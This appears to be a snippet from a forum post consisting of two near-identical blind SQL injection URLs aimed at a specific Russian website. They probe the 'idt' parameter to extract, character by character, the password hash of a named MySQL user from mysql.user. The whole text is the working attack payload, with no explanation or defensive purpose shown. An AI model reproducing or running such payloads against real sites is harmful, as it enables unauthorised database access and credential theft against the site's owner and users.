http://www.tehbasa.ru/index.php?idt=25+and+ascii(lower(substring(select+ password+from+mysql.user+where+user=char(116,101,1 04,98,97,115,97,95,97,115,105,100,64,55,57,46,49,5 5,52,46,55,51,46,55,50)+limit+1,1),1,1)))%3C=122
либо
http://www.tehbasa.ru/index.php?idt=25+and+ascii(lower(substring(select+ password+from+mysql.user+where+user=char(116,101,1 04,98,97,115,97,95,97,115,105,100,64,55,57,46,49,5 5,52,46,55,51,46,55,50)+limit+1,1)))%3C=122